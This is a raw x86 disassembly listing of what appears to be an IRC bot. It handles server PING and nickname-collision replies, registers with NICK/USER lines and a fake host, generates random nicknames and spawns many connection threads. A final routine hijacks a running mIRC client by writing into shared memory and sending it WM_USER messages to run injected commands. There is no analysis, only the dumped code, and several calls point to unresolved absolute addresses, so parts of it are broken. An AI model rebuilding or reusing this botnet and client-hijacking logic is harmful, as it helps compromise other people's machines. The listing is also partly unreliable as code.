		jnz	short loc_4177F4
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_41781C
		cmp	esi, edi
		jnz	short loc_41781C
		push	1
		pop	eax
		jmp	loc_4178B5
; ---------------------------------------------------------------------------

loc_41781C:				; CODE XREF: sub_4177CF+3Fj
					; sub_4177CF+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417837
		push	offset dword_4387E4
		jmp	short loc_417885
; ---------------------------------------------------------------------------

loc_417837:				; CODE XREF: sub_4177CF+5Fj
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417858
		push	esi
		push	offset dword_4387E0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B3

loc_417858:				; CODE XREF: sub_4177CF+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417ADD
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_4387D4

loc_417885:				; CODE XREF: sub_4177CF+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4

loc_4178B3:				; CODE XREF: sub_4177CF+87j
		xor	eax, eax

loc_4178B5:				; CODE XREF: sub_4177CF+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4177CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178BA	proc near		; DATA XREF: sub_417A5F+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4044[esi]
		mov	dword_4D4038[esi], edi
		push	dword_4D4244[esi]
		push	eax
		call	sub_417702
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D403C[esi], eax
		jb	loc_417A3F
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417ADD
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D403C[esi]
		call	dword_4CAFF4
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch

loc_417996:				; CODE XREF: sub_4178BA+111j
					; sub_4178BA+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D403C[esi]
		call	dword_4CAFBC
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A3F
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417996

loc_4179CD:				; CODE XREF: sub_4178BA+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4179F4
		cmp	al, 0Ah
		jz	short loc_4179F4
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F4
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A2E
; ---------------------------------------------------------------------------

loc_4179F4:				; CODE XREF: sub_4178BA+11Cj
					; sub_4178BA+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2E
		push	dword_4D403C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4177CF
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A3F
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx

loc_417A2E:				; CODE XREF: sub_4178BA+138j
					; sub_4178BA+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CD
		jmp	loc_417996
; ---------------------------------------------------------------------------

loc_417A3F:				; CODE XREF: sub_4178BA+40j
					; sub_4178BA+107j ...
		mov	dword_4D4038[esi], ebx
		mov	esi, dword_4D403C[esi]
		cmp	esi, ebx
		jbe	short loc_417A56
		push	esi
		call	dword_4CB03C

loc_417A56:				; CODE XREF: sub_4178BA+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A5F	proc near		; CODE XREF: sub_401ACD+31E1p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD8

loc_417A71:				; CODE XREF: sub_417A5F+77j
		xor	edi, edi
		mov	eax, offset dword_4D4038

loc_417A78:				; CODE XREF: sub_417A5F+28j
		cmp	[eax], ebx
		jz	short loc_417A89
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DA758
		jl	short loc_417A78

loc_417A89:				; CODE XREF: sub_417A5F+1Bj
		cmp	edi, 31h
		jz	short loc_417AD8
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4044[esi]
		push	eax
		call	sub_41BEB0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4244[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4038[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BA
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A71

loc_417AD8:				; CODE XREF: sub_417A5F+10j
					; sub_417A5F+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADD	proc near		; CODE XREF: sub_401ACD+374Dp
					; sub_401ACD+3793p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		call	sub_41B8E2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417B27
		call	sub_41B8E2
		call	sub_41B8E2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_437F20[edx*4]
		jmp	short loc_417B40
; ---------------------------------------------------------------------------

loc_417B27:				; CODE XREF: sub_417ADD+2Fj
		call	sub_41B8E2
		call	sub_41B8E2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_437C20[edx*4]

loc_417B40:				; CODE XREF: sub_417ADD+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BEB0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		call	sub_41C798
		mov	ebx, eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417BB3
		cmp	esi, 3
		jnz	short loc_417BAA
		cmp	ebx, 1
		jz	short loc_417BB3

loc_417BAA:				; CODE XREF: sub_417ADD+C6j
		cmp	eax, 1
		jnz	loc_417C6D

loc_417BB3:				; CODE XREF: sub_417ADD+C1j
					; sub_417ADD+CBj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E0
		call	sub_41C798
		push	off_437F20[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BEB0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41BFB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5A
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417C5A
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al

loc_417C5A:				; CODE XREF: sub_417ADD+111j
					; sub_417ADD+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C1E0
		add	esp, 0Ch

loc_417C6D:				; CODE XREF: sub_417ADD+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AFE0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D648
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED5
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCC
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417CDB
		cmp	eax, 1
		jnz	loc_417DCC

loc_417CDB:				; CODE XREF: sub_417ADD+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1D
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D39
; ---------------------------------------------------------------------------

loc_417D1D:				; CODE XREF: sub_417ADD+207j
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl

loc_417D39:				; CODE XREF: sub_417ADD+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417D62
		cmp	eax, ebx
		jnz	short loc_417DCC

loc_417D62:				; CODE XREF: sub_417ADD+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA7
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417DC5
; ---------------------------------------------------------------------------

loc_417DA7:				; CODE XREF: sub_417ADD+28Fj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl

loc_417DC5:				; CODE XREF: sub_417ADD+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi

loc_417DCC:				; CODE XREF: sub_417ADD+1C9j
					; sub_417ADD+1F8j ...
		cmp	esi, 6
		jge	loc_417E55
		cmp	esi, 5
		jge	short loc_417DED
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		jmp	short loc_417E0B
; ---------------------------------------------------------------------------

loc_417DED:				; CODE XREF: sub_417ADD+2FBj
		call	sub_41B8E2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8

loc_417E0B:				; CODE XREF: sub_417ADD+30Ej
		call	sub_41C798
		test	eax, eax
		jnz	short loc_417E2E
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		jmp	short loc_417E4B
; ---------------------------------------------------------------------------

loc_417E2E:				; CODE XREF: sub_417ADD+335j
		cmp	eax, 1
		jnz	short loc_417E55
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h

loc_417E4B:				; CODE XREF: sub_417ADD+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi

loc_417E55:				; CODE XREF: sub_417ADD+2F2j
					; sub_417ADD+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		cmp	[ebp+var_C], eax
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl

loc_417ED5:				; CODE XREF: sub_417ADD+1B1j
					; sub_417ADD+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EEE	proc near		; CODE XREF: sub_401ACD+BEBp
					; sub_401ACD+C28p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F79
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417F79
		cmp	[ebp+arg_8], esi
		jz	short loc_417F79
		cmp	byte ptr [eax],	0
		jz	short loc_417F79
		push	ebx
		push	edi
		call	sub_426464
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F74
		push	[ebp+arg_4]
		push	edi
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6D
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B5F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AFE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C1E0
		push	[ebp+arg_4]
		call	sub_41AFE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41BEC0
		push	ebx
		push	edi
		call	sub_41BEB0
		add	esp, 30h
		mov	esi, edi

loc_417F6D:				; CODE XREF: sub_417EEE+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx

loc_417F74:				; CODE XREF: sub_417EEE+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7B
; ---------------------------------------------------------------------------

loc_417F79:				; CODE XREF: sub_417EEE+Cj
					; sub_417EEE+13j ...
		xor	eax, eax

loc_417F7B:				; CODE XREF: sub_417EEE+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F7F	proc near		; CODE XREF: sub_401955+E9p
					; ___:004102F0p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AFE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB5
		or	eax, 0FFFFFFFFh
		jmp	short loc_418028
; ---------------------------------------------------------------------------

loc_417FB5:				; CODE XREF: sub_417F7F+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_417FD7

loc_417FC1:				; CODE XREF: sub_417F7F+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCE
		cmp	dl, 0Dh
		jnz	short loc_417FD2

loc_417FCE:				; CODE XREF: sub_417F7F+48j
		and	byte ptr [ecx+esi], 0

loc_417FD2:				; CODE XREF: sub_417F7F+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC1

loc_417FD7:				; CODE XREF: sub_417F7F+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418008
		lea	edi, [ebp+var_7CC]

loc_417FE4:				; CODE XREF: sub_417F7F+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418003
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418003
		cmp	ebx, 1F4h
		jge	short loc_418008
		mov	[edi], ecx
		inc	ebx
		add	edi, 4

loc_418003:				; CODE XREF: sub_417F7F+69j
					; sub_417F7F+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE4

loc_418008:				; CODE XREF: sub_417F7F+5Dj
					; sub_417F7F+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418026
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C310
		add	esp, 0Ch

loc_418026:				; CODE XREF: sub_417F7F+8Ej
		mov	eax, ebx

loc_418028:				; CODE XREF: sub_417F7F+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802C	proc near		; CODE XREF: sub_418086+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418065
		push	ebx
		mov	ebx, edi

loc_418049:				; CODE XREF: sub_41802C+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418068
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418049
		pop	ebx

loc_418065:				; CODE XREF: sub_41802C+18j
		pop	edi
		pop	esi
		retn
sub_41802C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418068	proc near		; CODE XREF: sub_41802C+25p
					; sub_418086+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D74C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418083
		cmp	al, 7Ah
		jg	short loc_418083
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------

loc_418083:				; CODE XREF: sub_418068+Ej
					; sub_418068+12j
		xor	eax, eax
		retn
sub_418068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418086	proc near		; CODE XREF: ___:0041532Dp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AFE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802C
		add	esp, 14h
		dec	esi
		mov	edi, esi

loc_4180C4:				; CODE XREF: sub_418086+B6j
		test	esi, esi
		jle	short loc_418142
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D74C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813A

loc_4180EA:				; CODE XREF: sub_418086+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418068
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810B
		mov	eax, ecx

loc_41810B:				; CODE XREF: sub_418086+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813E
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41D74C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EA

loc_41813A:				; CODE XREF: sub_418086+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C4
; ---------------------------------------------------------------------------

loc_41813E:				; CODE XREF: sub_418086+8Aj
		xor	eax, eax
		jmp	short loc_418147
; ---------------------------------------------------------------------------

loc_418142:				; CODE XREF: sub_418086+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi

loc_418147:				; CODE XREF: sub_418086+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814C	proc near		; CODE XREF: sub_401ACD+67A3p
					; sub_401ACD+789Ep

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 2690DF2h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 27E0000h
		nop
		lea	eax, [ebp+var_100]

loc_418185:				; CODE XREF: sub_41814C+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418191
		cmp	cl, 9
		jnz	short loc_418194

loc_418191:				; CODE XREF: sub_41814C+3Ej
		inc	eax
		jmp	short loc_418185
; ---------------------------------------------------------------------------

loc_418194:				; CODE XREF: sub_41814C+43j
					; sub_41814C+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AE
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418194
		cmp	cl, 21h
		jl	short loc_418194

loc_4181AE:				; CODE XREF: sub_41814C+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DA75C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D6	proc near		; CODE XREF: sub_401ACD+24CAp
		push	esi
		push	0
		call	dword_4CAF74
		test	eax, eax
		jz	short loc_41820D
		push	1
		call	dword_4CAF94
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820D
		push	edi
		push	esi
		call	near ptr 27F04F6h
		nop
		push	esi
		mov	edi, eax
		nop
		call	near ptr 27F0000h
		call	dword_4CAFF8
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41820D:				; CODE XREF: sub_4181D6+Bj
					; sub_4181D6+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418211	proc near		; CODE XREF: sub_401ACD+7661p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CAFB0
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828D
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 2800000h
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 27F0DA7h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CB000
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CB000
		push	ebx
		nop
		call	near ptr 27F0A4Fh
		push	edi
		nop
		call	near ptr 2670909h
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_41828F
; ---------------------------------------------------------------------------

loc_41828D:				; CODE XREF: sub_418211+16j
		xor	eax, eax

loc_41828F:				; CODE XREF: sub_418211+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
